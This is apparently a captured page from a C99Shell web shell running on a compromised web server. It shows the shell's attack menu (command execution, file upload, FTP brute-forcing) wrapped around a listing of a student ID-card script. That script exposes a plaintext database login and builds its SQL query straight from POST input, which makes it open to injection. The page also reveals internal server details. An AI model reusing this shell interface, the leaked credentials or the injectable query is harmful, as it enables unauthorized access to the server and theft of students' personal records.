!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.24.0. PHP/7.3.32 

uname -a: Linux ip-172-31-28-255.ec2.internal 6.1.159-181.297.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC
Mon Dec 22 22:31:59 UTC 2025 x86_64
 

 

Safe-mode: OFF (not secure)

/www/wwwroot/itce.co.in/branch2/print/   drwxr-xr-x
Free 30.72 GB of 49.93 GB (61.53%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     idprint.php (9.02 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
 <div   id="print2"> 
<div id="talltweets">
<?php

  
// Get the search variable from URL

  
$var ;

  
$trimmed trim($var); //trim whitespace from the stored variable
  
// rows to return
$limit=10

// check for an empty string and display a message.
if ($trimmed == "")
  {
 
  exit;
  }

// check for a search parameter
if (!isset($var))
  {
  echo 
"<p>We dont seem to have a search parameter!</p>";
  exit;
  }

mysql_connect("localhost","pccl_user","rb!pcl838"); //(host, username, password)

//specify database ** EDIT REQUIRED HERE **
mysql_select_db("pccl_data") or die("Unable to select database"); //select which database we're using

$rollnostudents=$_POST[q];

// Build SQL Query  
$query "select * from student_admission where roll_no='$rollnostudents' "// EDIT HERE and specify your table and field names for the SQL query

$numresults=mysql_query($query);
$numrows=mysql_num_rows($numresults);

// If we have no results, offer a google search as an alternative

if ($numrows == 0)
  {
  
  echo 
"   Sorry,  $rollnostudents   this CERTIFICATE is not found";


  }

// next determine if s has been passed to script, if not use 0
  
if (empty($s)) {
  
$s=0;
  }

// get results
  
$query .= " limit $s,$limit";
  
$result mysql_query($query) or die("Couldn't execute query");

// begin to show results set
$count $s ;

// now you can display the results returned
  
while ($rowmysql_fetch_array($result))
   {
$photosid="<img border='5' width='100%' height='100' src=http://pcclasses.in/branch/upload/".$row['photo_upload'] .">";       

$photo="<img src='idcard/images/idcard.jpg' width='300' height='50'  >";

$joindate=$row[jdate];
$studentname=$row[stduentname]; 
$fathername=$row[studentfathername]; 
$address=$row[address]; 
$course=$row[course]; 
$photos="<img border='2' width='80' height='100' src=http://pcclasses.in/branch/upload/".$row['photo_upload']." >"

  
$count++ ;
  }

$currPage = (($s/$limit) + 1);

//break before paging
  
echo "";

  
// next we need to do the links to other results
  
if ($s>=1) { // bypass PREV link if s is 0
  
$prevs=($s-$limit);
  print 
"<a href=\"$PHP_SELF?s=$prevs&q=$var\">&lt;&lt; 
  Prev 10</a>&nbsp"
;
  }

// calculate number of pages needing links
  
$pages=intval($numrows/$limit);

// $pages now contains int of pages needed unless there is a remainder from division

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<!--page generated by WebAcappella-->
<!-- 2019-09-30T16:21:40 ************************-->
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7;IE=EmulateIE9" />
<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<meta name="generator" content="WebAcappella 4.6.27  ecommerce (WIN) #0"/>
<title></title>
<meta name="keywords" content=""/>
<meta name="description" content=""/>

<style type="text/css">
body{margin-left:0px;margin-top:0px;margin-right:0px;margin-bottom:0px;background-color:#ffffff;}
</style>
<link rel="stylesheet" type="text/css" href="wa_global_style.css"/>
<script type="text/javascript"  src="jquery.js?v=86c"></script>
<script type="text/javascript">
var waJSQuery = jQuery.noConflict();
</script>
<script type="text/javascript"  src="webacappella_core.js?v=1ups"></script>
<!--[if lte IE 8]><script type="text/javascript"  src="excanvas.js?v=1f2a"></script>
<![endif]-->
<!--[if lte IE 8]><script type="text/javascript"  src="webacappella_patch_ie8.js?v=tc5"></script>
<![endif]-->
<script type="text/javascript">
document.write("\u003cscript type='text/javascript'  src='wa_site_global_settings.js?v=1n54lw72bsfyese"+urlSuffixe(1)+"'>\u003c/script>");
</script>
<script type="text/javascript"  src="jquery.mousewheel.js?v=use"></script>
<link href="webacappella.css?v=10nl" rel="stylesheet" type="text/css" media="all"/>
<!--[if lte IE 7]>
<link href="webacappella_ie.css?v=1tjn" rel="stylesheet" type="text/css" media="all"/>
<![endif]-->
<script type="text/javascript"  src="webacappella_tools.js?v=blf"></script>
<script type="text/javascript">
waJSQuery(function() {
initializeWA_JQuery()
});
</script>
<script type="text/javascript">
var waWebFontDescription={families:[
]}
</script>

</head>
<body><div id='wa-dialog-container' class='wa-fullscreen-contenair' style='position:absolute;z-index:52000;'></div><div id='html-centered' style='position:relative;width:100%;z-index:200;'><div id='is-global-layer' class='wa-main-page-contenair'  style='position:relative;z-index:200;top:0px;width:800px;;text-align:left;margin:0 auto; '><div style="position:absolute;top:1px;left:0px;width:1px;height:1px;"><a name="anchor-top">&nbsp;</a></div>
<div style="position:absolute;z-index:10236;left:80px;top:320px;width:187px;height:20px;border:0px;background:rgba(0,0,0,0);overflow:hidden;" class="wa-comp wa-text wa-bg-gradient param[grad(rgba(0,0,0,0)) border(0 #969696)]  " ><div style="position:absolute;z-index:10;line-height:1.2;margin:2px;top:0px;left:0px;width:185px;height:18px;word-wrap:break-word;overflow-y:auto;overflow-x:hidden;" ><div align="left"><span style="font-family:'Arial';font-size:13px;font-weight:normal;color:#000000;" ><?php echo $joindate ?></span></div></div></div><div style="position:absolute;z-index:10116;left:70px;top:292px;width:187px;height:20px;border:0px;background:rgba(0,0,0,0);overflow:hidden;" class="wa-comp wa-text wa-bg-gradient param[grad(rgba(0,0,0,0)) border(0 #969696)]  " ><div style="position:absolute;z-index:10;line-height:1.2;margin:2px;top:0px;left:0px;width:185px;height:18px;word-wrap:break-word;overflow-y:auto;overflow-x:hidden;" ><div align="left"><span style="font-family:'Arial';font-size:13px;font-weight:normal;color:#000000;" ><?php echo $rollnostudents ?></span></div></div></div><div style="position:absolute;z-index:10056;left:72px;top:268px;width:187px;height:20px;border:0px;background:rgba(0,0,0,0);overflow:hidden;" class="wa-comp wa-text wa-bg-gradient param[grad(rgba(0,0,0,0)) border(0 #969696)]  " ><div style="position:absolute;z-index:10;line-height:1.2;margin:2px;top:0px;left:0px;width:185px;height:18px;word-wrap:break-word;overflow-y:auto;overflow-x:hidden;" ><div align="left"><span style="font-family:'Arial';font-size:13px;font-weight:normal;color:#000000;" ><?php echo $course ?></span></div></div></div><div style="position:absolute;z-index:10026;left:75px;top:245px;width:187px;height:20px;border:0px;background:rgba(0,0,0,0);overflow:hidden;" class="wa-comp wa-text wa-bg-gradient param[grad(rgba(0,0,0,0)) border(0 #969696)]  " ><div style="position:absolute;z-index:10;line-height:1.2;margin:2px;top:0px;left:0px;width:185px;height:18px;word-wrap:break-word;overflow-y:auto;overflow-x:hidden;" ><div align="left"><span style="font-family:'Arial';font-size:13px;font-weight:normal;color:#000000;" ><?php echo $fathername ?></span></div></div></div><div style="position:absolute;z-index:10011;left:55px;top:220px;width:200px;height:20px;border:0px;background:rgba(0,0,0,0);overflow:hidden;" class="wa-comp wa-text wa-bg-gradient param[grad(rgba(0,0,0,0)) border(0 #969696)]  " ><div style="position:absolute;z-index:10;line-height:1.2;margin:2px;top:0px;left:0px;width:198px;height:18px;word-wrap:break-word;overflow-y:auto;overflow-x:hidden;" ><div align="left"><span style="font-family:'Arial';font-size:13px;font-weight:normal;color:#000000;" ><?php echo $studentname ?></span></div></div></div><div style="position:absolute;z-index:10007;left:90px;top:95px;width:90px;height:115px;border:0px;background:rgba(0,0,0,0);overflow:hidden;" class="wa-comp wa-text wa-bg-gradient param[grad(rgba(0,0,0,0)) border(0 #969696)]  " ><div style="position:absolute;z-index:10;line-height:1.2;margin:2px;top:0px;left:0px;width:88px;height:113px;word-wrap:break-word;overflow-y:auto;overflow-x:hidden;" ><div align="left"><span style="font-family:'Arial';font-size:19px;font-weight:normal;color:#000000;" ><?php echo $photos ?> </span></div></div></div><img src="IDCARD.jpg?v=2e4su072bsfyese" alt=""  class="wa-img wa-comp " style="position:absolute;z-index:10003;left:0px;top:0px;width:261px;height:369px;border:0px;"/><div style="position:absolute;top:348px;left:0px;width:1px;height:1px;" ><a name="anchor-bottom">&nbsp;</a></div>
<div id='dynmenu-container' style='position:absolute;z-index:51000;'></div></div>
</div>  <!--end html-centered-->
<script type="text/javascript">
<!--
document.webaca_page_option_background=0
document.webaca_page_background_img_size=[-1,-1]
document.webaca_page_is_centered=true;
document.webaca_width_page=800;
document.webaca_height_page=368;
document.webaca_banner_height=0;
document.webaca_is_preview=false;
var wa_global_market = {markets:new Array(),id_modif_dlg_js:''};
Translator.m_lang="en";
Translator.m_languages={}
Translator.m_lang_for_filename="";
function wa_timeout(_fct,_time,p1,p2,p3){return setTimeout(_fct,_time,p1,p2,p3)}
function wa_evaluate(_s){return eval(_s)}
function IS_onload(){
IS_onload_WA();
}
-->
</script>
<script type="text/javascript" src='wa_common_messages_en.js?v='></script>
<script type="text/javascript">
<!--
WA_loadMessages();
-->
</script>
<script type="text/javascript">
<!--
-->
</script>
</body>
</html>




:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0022 ]--